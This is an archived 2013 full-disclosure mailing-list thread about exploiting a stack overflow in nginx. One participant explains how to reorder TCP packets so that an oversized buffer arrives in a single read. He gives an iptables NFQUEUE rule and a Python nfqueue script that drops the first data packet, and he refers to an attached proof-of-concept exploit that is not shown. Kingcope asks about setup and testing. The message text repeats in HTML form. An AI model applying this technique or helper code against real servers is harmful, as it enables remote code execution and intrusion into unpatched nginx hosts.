[prev in list] [next in list] [prev in thread] [next in thread] 

List:       full-disclosure
Subject:    Re: [Full-disclosure] nginx exploit documentation, about a generic way to exploit Linux targets
From:       Albert Puigsech Galicia <albert () puigsech ! com>
Date:       2013-07-26 20:07:03
Message-ID: CAO4nny4aOmMa53JBNkZ9pE4MPxPYJycV0HkxA6Sv73c+-wdKAg () mail ! gmail ! com
[Download RAW message or body]

[Attachment #2 (multipart/alternative)]


Hello,

The fact is that you need to send the TCP packages in different order than
the kernel does on normal connections, and you have two ways to do that:

1. Do not use kernel functions to manage connections, so you need to
implement a little TCP/IP stack on user-space using raw sockets.

2. Use kernel functions, but altering their behavior. In linux you can do
that using NFQ, because it allow you to send packages to user-space to be
managed and the send it back to kernel.

The first way is probably more clean and portable than the second but you
need more code to do it, so I did the firts one just as prof of concept.

The way the second solucion (my) works is easy: with iptables I mark some
packages to be sent into a queue and I manage all that packages with the
python script.

You can try to run **your own** exploit through Internet running both
iptables and the python script as root in other terminal (and keep it
running while you run the exploit :)


When you run It on VM (specially if you are using NAT configuration) it can
probably fail because how virtualization system manages the network. It's
important to notice that we are tricking some network low-level stuff and
having some kind of NAT/Redirect/Whatever-extrange in network level can
change everything on the exploiting perspective.


It works fine using our PoC exploit code (attached on this mail), you can
check if It's getting the padding and the stack cookie in your environment.


On 26 July 2013 08:19, Kingcope
<isowarez.isowarez.isowarez@googlemail.com>wrote:

> Thanks for the hint about how to solve the issue!
> Two questions.
>
> Is the combination of both the iptables setting and python script a
> standalone solution along with the exploit code or is it required to send
> the exploit buffers in nfq.py? I assume the first.
>
> Does this configuration require anything else? I tested it using a vm
> inside windows but I presume it needs a real independent Linux host on the
> Internet right?
>
> Greetings,
>
> Kcope
>
> Am 24.07.2013 um 17:13 schrieb Albert Puigsech Galicia <
> albert@puigsech.com>:
>
> > Hello everybody,
> >
> >
> >> "Ioctl is needed to set the nginx socket blocking so another call to
> write(2) will read much more memory than it is possible with the default
> non-blocking connection of nginx."
> >
> >
> > This vulnerability was published recently and it seems that many
> > exploiters got stuck because the socket will not block because the
> > buffer is longer than the standard ethernet MTU, some others have
> > found another attack vector without that problem.
> >
> > Let me to explain how we have achieved to overcome the non-blocking
> > socket impediment without doing so much:
> >
> >
> > When packets arriving at the TCP layer are analyzed and once
> > determined the sequence are immediately delivered to the upper layer
> > of the OSI model.
> >
> > Let's imagine that you want to overflow a big buffer through the
> > network. Normally you would execute something like;
> >
> > send(sock, "AAAAA….A",…);
> >
> > If the size of the data is bigger than the MTU, is then splitted into
> > multiple packages. The destination processes the information on many
> > smaller packages instead of one. In summary,the read()/recv() doesn't
> > get all the data and the overflow is not done.
> >
> > And that's what's happening on ngingx.
> >
> >
> >
> > What we have done to prevent that packets are delivered directly to
> > the next layer is taking profit of TCP windows and TCP reorder:
> > sending the first package on the last place.
> >
> > What happens is that the TCP stack will not deliver the packets to the
> > next layer because the information is not complete, and just wait
> > until all information (up to the size of the tcp window) is received
> > to deliver it.
> >
> > Then the application layer will get all the information in _the same_
> > read an the overflow will happen.
> >
> >
> >
> > Using that TCP trick, the size limitation of the overflow is the TCP
> > window size instead the MTU.
> >
> >
> >
> > One easy and **dirty** way to implement this is using iptables and
> > nfqueue, but there are some better ones:
> >
> > # iptables -A OUTPUT -p tcp -d <IP> --destination-port <PORT> -j NFQUEUE
> > # python nfq.py
> >
> > Regards,
> >
> >
> >
> > ===/ nfq.py /===
> > import nfqueue
> > import socket
> > import time
> >
> > data_count = 0
> > delayed = None
> >
> > def cb(dummy, payload):
> >        global data_count
> >        global delayed
> >        data = payload.get_data()
> > # DIRTY for first data package (not three-way-handshake)
> >        if len(data) > 60:
> >                data_count += 1
> >                if (data_count == 1):
> >                        delayed = payload
> >                        print data
> > # Just DROP the packet and the local TCP stack will send it again
> > because won't get the ACK.
> >                        payload.set_verdict(nfqueue.NF_DROP)
> >        else:
> >                data_count = 0
> >
> >
> > q = nfqueue.queue()
> > q.open()
> > q.bind(socket.AF_INET)
> > q.set_callback(cb)
> > q.create_queue(0)
> > try:
> >        q.try_run()
> > except KeyboardInterrupt:
> >        print "Exiting..."
> > q.unbind(socket.AF_INET)
> > q.close()
> > ===/ nfq.py /===
> >
> > On 23 July 2013 19:49, king cope
> > <isowarez.isowarez.isowarez@googlemail.com> wrote:
> >> (see attachment)
> >>
> >> /Kingcope
> >>
> >> _______________________________________________
> >> Full-Disclosure - We believe in it.
> >> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> >> Hosted and sponsored by Secunia - http://secunia.com/
> >
> >
> >
> > --
> > Albert Puigsech Galicia
> > + Mail: albert@puigsech.com
> > + Jabber: albert@puigsech.com
> > + Twitter: @apuigsech
> > + Web: file:///dev/null
>



-- 
Albert Puigsech Galicia
+ Mail: albert@puigsech.com
+ Jabber: albert@puigsech.com
+ Twitter: @apuigsech
+ Web: file:///dev/null

[Attachment #5 (text/html)]

<div dir="ltr">Hello,   <br><br>The fact is that you need to send the TCP packages in different \
order than the kernel does on normal connections, and you have two ways to do that:<br><br>1. \
Do not use kernel functions to manage connections, so you need to implement a little TCP/IP \
stack on user-space using raw sockets.<br>

<br>2. Use kernel functions, but altering their behavior. In linux you can do that using NFQ, \
because it allow you to send packages to user-space to be managed and the send it back to \
kernel.<br><br>The first way is probably more clean and portable than the second but you need \
more code to do it, so I did the firts one just as prof of concept.<br>

<br>The way the second solucion (my) works is easy: with iptables I mark some packages to be \
sent into a queue and I manage all that packages with the python script.<br><br>You can try to \
run **your own** exploit through Internet running both iptables and the python script as root \
in other terminal (and keep it running while you run the exploit :)<br>

  <br><br>When you run It on VM (specially if you are using NAT configuration) it can probably \
fail because how virtualization system manages the network. It&#39;s important to notice that \
we are tricking some network low-level stuff and having some kind of \
NAT/Redirect/Whatever-extrange in network level can change everything on the exploiting \
perspective.<br>

<br><br>It works fine using our PoC exploit code (attached on this mail), you can check if \
It&#39;s getting the padding and the stack cookie in your environment.</div><div \
class="gmail_extra"><br><br><div class="gmail_quote">

On 26 July 2013 08:19, Kingcope <span dir="ltr">&lt;<a \
href="mailto:isowarez.isowarez.isowarez@googlemail.com" \
target="_blank">isowarez.isowarez.isowarez@googlemail.com</a>&gt;</span> wrote:<br><blockquote \
class="gmail_quote" style="margin:0 0 0 .8ex;border-left:1px #ccc solid;padding-left:1ex">

Thanks for the hint about how to solve the issue!<br>
Two questions.<br>
<br>
Is the combination of both the iptables setting and python script a standalone solution along \
with the exploit code or is it required to send the exploit buffers in nfq.py? I assume the \
first.<br> <br>
Does this configuration require anything else? I tested it using a vm inside windows but I \
presume it needs a real independent Linux host on the Internet right?<br> <br>
Greetings,<br>
<br>
Kcope<br>
<br>
Am 24.07.2013 um 17:13 schrieb Albert Puigsech Galicia &lt;<a \
href="mailto:albert@puigsech.com">albert@puigsech.com</a>&gt;:<br> <div class="HOEnZb"><div \
class="h5"><br> &gt; Hello everybody,<br>
&gt;<br>
&gt;<br>
&gt;&gt; &quot;Ioctl is needed to set the nginx socket blocking so another call to write(2) \
will read much more memory than it is possible with the default non-blocking connection of \
nginx.&quot;<br> &gt;<br>
&gt;<br>
&gt; This vulnerability was published recently and it seems that many<br>
&gt; exploiters got stuck because the socket will not block because the<br>
&gt; buffer is longer than the standard ethernet MTU, some others have<br>
&gt; found another attack vector without that problem.<br>
&gt;<br>
&gt; Let me to explain how we have achieved to overcome the non-blocking<br>
&gt; socket impediment without doing so much:<br>
&gt;<br>
&gt;<br>
&gt; When packets arriving at the TCP layer are analyzed and once<br>
&gt; determined the sequence are immediately delivered to the upper layer<br>
&gt; of the OSI model.<br>
&gt;<br>
&gt; Let&#39;s imagine that you want to overflow a big buffer through the<br>
&gt; network. Normally you would execute something like;<br>
&gt;<br>
&gt; send(sock, &quot;AAAAA….A&quot;,…);<br>
&gt;<br>
&gt; If the size of the data is bigger than the MTU, is then splitted into<br>
&gt; multiple packages. The destination processes the information on many<br>
&gt; smaller packages instead of one. In summary,the read()/recv() doesn&#39;t<br>
&gt; get all the data and the overflow is not done.<br>
&gt;<br>
&gt; And that&#39;s what&#39;s happening on ngingx.<br>
&gt;<br>
&gt;<br>
&gt;<br>
&gt; What we have done to prevent that packets are delivered directly to<br>
&gt; the next layer is taking profit of TCP windows and TCP reorder:<br>
&gt; sending the first package on the last place.<br>
&gt;<br>
&gt; What happens is that the TCP stack will not deliver the packets to the<br>
&gt; next layer because the information is not complete, and just wait<br>
&gt; until all information (up to the size of the tcp window) is received<br>
&gt; to deliver it.<br>
&gt;<br>
&gt; Then the application layer will get all the information in _the same_<br>
&gt; read an the overflow will happen.<br>
&gt;<br>
&gt;<br>
&gt;<br>
&gt; Using that TCP trick, the size limitation of the overflow is the TCP<br>
&gt; window size instead the MTU.<br>
&gt;<br>
&gt;<br>
&gt;<br>
&gt; One easy and **dirty** way to implement this is using iptables and<br>
&gt; nfqueue, but there are some better ones:<br>
&gt;<br>
&gt; # iptables -A OUTPUT -p tcp -d &lt;IP&gt; --destination-port &lt;PORT&gt; -j NFQUEUE<br>
&gt; # python nfq.py<br>
&gt;<br>
&gt; Regards,<br>
&gt;<br>
&gt;<br>
&gt;<br>
&gt; ===/ nfq.py /===<br>
&gt; import nfqueue<br>
&gt; import socket<br>
&gt; import time<br>
&gt;<br>
&gt; data_count = 0<br>
&gt; delayed = None<br>
&gt;<br>
&gt; def cb(dummy, payload):<br>
&gt;            global data_count<br>
&gt;            global delayed<br>
&gt;            data = payload.get_data()<br>
&gt; # DIRTY for first data package (not three-way-handshake)<br>
&gt;            if len(data) &gt; 60:<br>
&gt;                        data_count += 1<br>
&gt;                        if (data_count == 1):<br>
&gt;                                    delayed = payload<br>
&gt;                                    print data<br>
&gt; # Just DROP the packet and the local TCP stack will send it again<br>
&gt; because won&#39;t get the ACK.<br>
&gt;                                    payload.set_verdict(nfqueue.NF_DROP)<br>
&gt;            else:<br>
&gt;                        data_count = 0<br>
&gt;<br>
&gt;<br>
&gt; q = nfqueue.queue()<br>
&gt; q.open()<br>
&gt; q.bind(socket.AF_INET)<br>
&gt; q.set_callback(cb)<br>
&gt; q.create_queue(0)<br>
&gt; try:<br>
&gt;            q.try_run()<br>
&gt; except KeyboardInterrupt:<br>
&gt;            print &quot;Exiting...&quot;<br>
&gt; q.unbind(socket.AF_INET)<br>
&gt; q.close()<br>
&gt; ===/ nfq.py /===<br>
&gt;<br>
&gt; On 23 July 2013 19:49, king cope<br>
&gt; &lt;<a href="mailto:isowarez.isowarez.isowarez@googlemail.com">isowarez.isowarez.isowarez@googlemail.com</a>&gt; \
wrote:<br> &gt;&gt; (see attachment)<br>
&gt;&gt;<br>
&gt;&gt; /Kingcope<br>
&gt;&gt;<br>
&gt;&gt; _______________________________________________<br>
&gt;&gt; Full-Disclosure - We believe in it.<br>
&gt;&gt; Charter: <a href="http://lists.grok.org.uk/full-disclosure-charter.html" \
target="_blank">http://lists.grok.org.uk/full-disclosure-charter.html</a><br> &gt;&gt; Hosted \
and sponsored by Secunia - <a href="http://secunia.com/" \
target="_blank">http://secunia.com/</a><br> &gt;<br>
&gt;<br>
&gt;<br>
&gt; --<br>
&gt; Albert Puigsech Galicia<br>
&gt; + Mail: <a href="mailto:albert@puigsech.com">albert@puigsech.com</a><br>
&gt; + Jabber: <a href="mailto:albert@puigsech.com">albert@puigsech.com</a><br>
&gt; + Twitter: @apuigsech<br>
&gt; + Web: file:///dev/null<br>
</div></div></blockquote></div><br><br clear="all"><div><br></div>-- <br>Albert Puigsech \
Galicia<br>+ Mail: <a href="mailto:albert@puigsech.com" \
target="_blank">albert@puigsech.com</a><br>+ Jabber: <a href="mailto:albert@puigsech.com" \
target="_blank">albert@puigsech.com</a><br>

+ Twitter: @apuigsech<br>+ Web: file:///dev/null
</div>

--001a11c3d14a12fc6904e26fb2f6--


["nginx-CVE-2013-2028.py" (application/octet-stream)]

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[prev in list] [next in list] [prev in thread] [next in thread] 

Configure | About | News | Add a list | Sponsored by KoreLogic